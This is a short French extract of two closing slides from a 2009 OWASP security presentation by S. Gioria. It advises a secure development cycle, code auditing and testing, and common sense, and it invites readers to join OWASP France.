  • 45. Pas de recette Miracle   ettre en place un cycle de développement M sécurisé !   Auditer et Tester son code !   Vérifier le fonctionnement de son Application ! La sécurité est d’abord et avant tout affaire de bon sens. © 2009 - S.Gioria & OWASP
  • 46. Rejoignez nous ! http://www.owasp.fr © 2009 - S.Gioria & OWASP 4 6